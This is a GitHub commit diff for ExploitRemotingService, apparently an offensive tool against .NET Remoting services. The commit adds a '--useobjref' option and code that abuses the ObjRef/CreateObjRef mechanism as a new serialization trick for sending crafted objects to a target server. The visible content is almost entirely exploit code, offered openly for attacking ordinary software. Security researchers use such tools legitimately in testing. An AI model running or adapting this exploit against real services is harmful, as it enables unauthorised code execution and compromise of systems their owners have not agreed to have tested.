Skip to content

Commit 5714541

Browse files
committed
Add --useobjref option
1 parent 135e10e commit 5714541

File tree

3 files changed

+22
-2
lines changed

3 files changed

+22
-2
lines changed

ExploitRemotingService/CustomChannel.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,8 @@ sealed class CustomChannel
3535
private readonly bool _one_way;
3636
private readonly Func<string, MethodBase, object[], object> _get_message_object;
3737

38+
public Uri Uri { get { return _uri; } }
39+
3840
public CustomChannel(Uri uri, Func<Stream> bind_stream,
3941
Func<string, MethodBase, object[], object> get_message_object,
4042
bool null_uri, bool one_way)

ExploitRemotingService/Program.cs

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,7 @@ class Program
5757
private static bool _usecom;
5858
private static bool _useser;
5959
private static bool _uselease;
60+
private static bool _useObjRef;
6061
private static string _installdir;
6162

6263
static void SetupServer()
@@ -182,6 +183,8 @@ private static bool ProcessArgs(string[] args)
182183
v => _useser = v != null },
183184
{ "uselease", "Uses new serialization tricks by abusing lease mechanism.",
184185
v => _useser = _uselease = v != null },
186+
{ "useobjref", "Uses new serialization tricks by abusing ObjRef mechanism.",
187+
v => _useser = _useObjRef = v != null },
185188
{ "nulluri", "Don't send the URI header to the server", v => _null_uri = v != null },
186189
{ "autodir", "When useser is specified try and automatically work out the installdir parameter from the server's current directory.", v => _autodir = v != null },
187190
{ "installdir=", "Specify the install directory of the service executable to enable full support with useser",
@@ -284,7 +287,7 @@ private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
284287
lease = channel.MakeCall<ILease>(_uri.AbsolutePath, typeof(MarshalByRefObject).GetMethod("InitializeLifetimeService"));
285288
}
286289

287-
SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease);
290+
SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease, _useObjRef);
288291
if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
289292
{
290293
if (_autodir)

ExploitRemotingService/SerializerRemoteClass.cs

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,12 +31,14 @@ class SerializerRemoteClass : MarshalByRefObject, IRemoteClass, IEqualityCompare
3131
{
3232
private readonly CustomChannel _channel;
3333
private readonly ILease _lease;
34+
private readonly bool _useObjRef;
3435
private object _send_object;
3536

36-
public SerializerRemoteClass(CustomChannel channel, ILease lease)
37+
public SerializerRemoteClass(CustomChannel channel, ILease lease, bool useObjRef)
3738
{
3839
_channel = channel;
3940
_lease = lease;
41+
_useObjRef = useObjRef;
4042
}
4143

4244
private static object GetFileInfo(string path, bool directory)
@@ -80,6 +82,19 @@ private void SendRequestToServer(object retobj)
8082
{
8183
}
8284
}
85+
else if (_useObjRef)
86+
{
87+
_send_object = hash;
88+
string objUri = _channel.Uri.AbsolutePath;
89+
var objRef = RemotingServices.Marshal(this);
90+
try
91+
{
92+
_channel.MakeCall(objUri, typeof(MarshalByRefObject).GetMethod("CreateObjRef", new[] { typeof(Type) }), objRef);
93+
}
94+
catch (Exception)
95+
{
96+
}
97+
}
8398
else
8499
{
85100
Trace.WriteLine(_channel.SendRequest(hash, true).ToString());

0 commit comments

Comments
 (0)